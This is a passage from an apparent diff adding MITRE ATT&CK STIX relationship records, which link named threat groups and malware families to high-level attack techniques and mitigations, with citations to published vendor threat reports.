"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + }, + { + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "source_name": "Accenture Dragonfish Jan 2018", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[RemoteCMD](https://attack.mitre.org/software/S0166) can execute commands remotely by creating a new schedule task on the remote system", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6", + "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--a33388b7-3803-442f-8e31-511eef055470", + "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "modified": "2019-03-22T14:21:19.572Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.065Z", + "id": "relationship--c8253944-3a69-42e6-b36a-1c3defbb088e", + "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31", + "modified": "2019-03-22T20:14:29.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "An [APT28](https://attack.mitre.org/groups/G0007) backdoor may collect the entire contents of an inserted USB device.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.040Z", + "id": "relationship--78e8d9e6-48b7-473f-af94-43f626de7931", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "source_name": "Microsoft SIR Vol 19", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) uses fake Transport Layer Security (TLS) to communicate with its C2 server, encoding data with RC4 encryption.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--35f02c40-d46f-44fa-8ba2-5106357494b4", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--85bddba6-3848-4d2d-a4fa-4c4b71274a02", + "source_ref": "course-of-action--23061b40-a7b6-454f-8950-95d5ff80331c", + "modified": "2019-07-24T19:43:20.517Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--66a16f64-8c0d-4647-8589-83ea8ef4fbd3", + "source_ref": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765", + "modified": "2019-09-16T17:15:43.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has cleared event logs from victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9b43f780-6a8b-477f-826f-c45e867749c9", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.765Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used a variant of [ShiftyBug](https://attack.mitre.org/software/S0294) that communicates with its C2 server over port 6666.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--be61c04d-178f-4366-b778-ee77f0485d13", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "After compromising a victim, [Poseidon Group](https://attack.mitre.org/groups/G0033) lists all running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--c6f81350-a410-4ac7-a4b0-58bd4a9c1d9e", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--66a3ab46-abcb-4234-a786-638044cfc50e", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.825Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware enumerates logged-on users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--500130c0-d049-4e67-9bcc-d60a5f6dfd4c", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + }, + { + "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to download a file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8ef27cd6-3909-4174-b57c-3dbe3061a6dd", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.359Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) uses search order hijacking of the Windows executable sysprep.exe to escalate privileges.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f4f5b6a4-26d5-4352-a25d-001a51a0a121", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "modified": "2019-10-15T18:00:19.429Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, RDP, Citrix, or VNC credentials to maintain access to a victim environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e25b4146-2f52-4c5b-a1f8-3e868e767f84", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.779Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", + "source_name": "FireEye Respond Webinar July 2017", + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html" + }, + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open links and attachments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1262d88d-0eb1-4d19-b84a-9793ef3e4d03", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.456Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + }, + { + "source_name": "CSM Elderwood Sept 2012", + "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "Various [Lazarus Group](https://attack.mitre.org/groups/G0032) malware modifies the Windows firewall to allow incoming connections or disable it entirely using [netsh](https://attack.mitre.org/software/S0108). [Lazarus Group](https://attack.mitre.org/groups/G0032) malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, [Lazarus Group](https://attack.mitre.org/groups/G0032) malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--ae61abba-14fb-4d4e-9f8e-a3b18500b449", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.951Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf" + }, + { + "source_name": "US-CERT SHARPKNOT June 2018", + "description": "US-CERT. (2018, March 09). Malware Analysis Report (MAR) - 10135536.11.WHITE. Retrieved June 13, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.11.WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) listed remote shared drives that were accessible from a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--cc495391-9abd-4df1-8ad7-ec8d84feaeb9", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.831Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--45966f4c-51d4-4940-854d-79d712f63ed5", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.302Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "source_name": "CameraShy", + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have split RAR files for exfiltration into parts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.062Z", + "id": "relationship--0b36c1d0-d016-4c12-bf61-6dc14b29c7e0", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1cabd067-2229-488f-a244-03aa087b7e54", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used command line during its intrusions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9f618c0f-79b8-4990-a02b-6e3187b14033", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.832Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.027Z", + "id": "relationship--06a8b931-7881-4e8b-a970-c430379279ca", + "source_ref": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5", + "modified": "2019-07-25T11:16:03.516Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) searches for Microsoft Outlook data files with extensions .pst and .ost for collection and exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bcb8ac03-4f58-4cd8-af58-c3df991c8af5", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has obtained the victim username and sent it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--7ac10827-9bf6-4d60-aa16-9f2d2930b373", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can search files on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--27834043-1004-4a70-9023-a318bd6db7c6", + "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.", + "source_name": "US-CERT FALLCHILL Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used WMI to steal credentials and execute backdoors at a future time.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--ab51525b-93c6-4ea8-bd83-b9547f1317bb", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.248Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--e02d1cb4-1bb7-49b5-a918-5e0d194974aa", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.644Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can run [Systeminfo](https://attack.mitre.org/software/S0096) to gather information about the victim.", + "created_by_ref": 